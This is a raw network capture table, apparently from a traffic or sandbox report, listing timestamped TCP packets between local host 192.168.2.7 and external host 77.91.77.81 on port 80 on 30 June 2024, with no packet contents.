Jun 30, 2024 10:23:14.605643988 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.605669975 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.605679989 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.605748892 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.605772018 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.605876923 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.605889082 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.605900049 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.605911016 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.605926037 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.605952978 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.606547117 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.606560946 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.606570959 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.606581926 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.606592894 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.606604099 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.606621027 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.606637955 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.607295036 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.607307911 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.607323885 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.607342958 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.607363939 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.630223036 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.630238056 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.630249023 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.630346060 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.630553007 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.630570889 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.630582094 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.630594015 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.630599022 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.630634069 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.631259918 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.631274939 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.631285906 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.631298065 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.631318092 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.631357908 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.632189035 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.632201910 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.632210970 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.632221937 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.632244110 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.632267952 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.633045912 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.633060932 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.633070946 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.633083105 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.633093119 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.633105040 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.633131027 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.633944035 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.633955956 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.633965969 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.633977890 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.633982897 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.633991957 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.634011030 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.634036064 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.634767056 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.634789944 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.634800911 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.634805918 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.634819984 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.634836912 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.654745102 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.654855013 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.654865980 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.654956102 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.655230045 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.655282021 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.655474901 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.655487061 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.655498981 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.655509949 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.655519962 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.655549049 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.656800985 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.656847000 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.656894922 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.656908035 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.656934023 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.657253027 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.657264948 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.657275915 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.657288074 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.657295942 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.657313108 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.657337904 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.657833099 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.657872915 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.658047915 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.658060074 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.658070087 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.658082008 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.658088923 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.658098936 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.658114910 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.658133984 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.658932924 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.658945084 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.658955097 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.658965111 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.658978939 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.658982038 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.658997059 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.659003973 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.659019947 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.659044027 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.659866095 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.659878969 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.659889936 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.659900904 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.659907103 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.659912109 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.659923077 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.659925938 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.659950972 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.660711050 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.660727024 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.660737991 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.660748959 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.660754919 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.660761118 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.660774946 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.660782099 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.660809994 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.661587000 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.661601067 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.661612034 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.661623955 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.661628008 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.661634922 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.661647081 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.661649942 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.661674976 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.662466049 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.662482977 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.662492037 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.662503958 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.662512064 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.662516117 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.662528038 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.662528038 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.662554979 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.663358927 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.663374901 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.663383961 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.663394928 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.663403988 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.663405895 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.663419008 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.663424969 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.663441896 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.663466930 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.664258003 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.664271116 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.664279938 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.664292097 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.664304972 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.664311886 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.664333105 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.664345980 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.665126085 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.665141106 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.665150881 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.665163994 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.665175915 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.665177107 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.665194035 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.665200949 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.665220022 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.665242910 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.665951967 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.665966988 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.665977955 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.666022062 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.666043043 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.698424101 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.698441029 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.698452950 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.698488951 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.698523998 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.698535919 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.698537111 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.698550940 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.698560953 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.698566914 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.698607922 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.698633909 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.699110031 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.699121952 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.699134111 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.699146032 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.699157953 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.699165106 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.699171066 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.699187994 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.699225903 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.699944973 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.699959040 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.700006008 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.700022936 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.723290920 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.723324060 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.723337889 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.723381042 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.723539114 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.723599911 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.723613024 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.723624945 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.723639011 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.723645926 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.723676920 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.724118948 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.724133968 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.724164009 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.724178076 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.724194050 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.724195004 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.724206924 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.724219084 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.724220991 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.724239111 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.724261045 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.725167036 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.725182056 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.725193977 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.725204945 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.725213051 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.725219011 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.725234032 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.725238085 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.725249052 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.725266933 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.725292921 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.726066113 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.726079941 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.726090908 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.726104975 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.726105928 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.726119995 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.726125002 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.726134062 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.726140976 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.726156950 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.726186037 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.747564077 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.747591972 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.747601986 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.747628927 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.747656107 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.747745991 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.747759104 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.747781038 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.747905016 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.747905016 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.748311043 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.748322964 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.748363972 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.750437021 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.750494957 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.750499010 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.750511885 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.750535965 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.750551939 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.750730991 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.750783920 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.750793934 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.750806093 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.750818968 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.750842094 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.750868082 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.751456976 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.751470089 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.751485109 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.751497030 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.751511097 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.751522064 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.751560926 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.752444029 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.752460003 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.752473116 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.752496004 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.752536058 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.752537012 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.752547026 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.752552032 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.752582073 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.752590895 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.753047943 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.753061056 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.753072977 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.753087044 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.753098965 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.753099918 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.753113985 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.753125906 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.753138065 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.753151894 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.753170013 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.753979921 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.753994942 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.754005909 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.754019022 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.754029989 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.754040003 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.754043102 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.754055977 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.754076958 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.754084110 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.754118919 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.754770994 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.754786968 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.754797935 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.754812002 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.754820108 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.754827023 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.754839897 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.754847050 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.754852057 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.754868031 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.754880905 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.754889011 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.754894018 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.754903078 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.754920959 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.754954100 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.755793095 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.755810022 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.755824089 CEST	80	57433	77.91.77.81	192.168.2.7
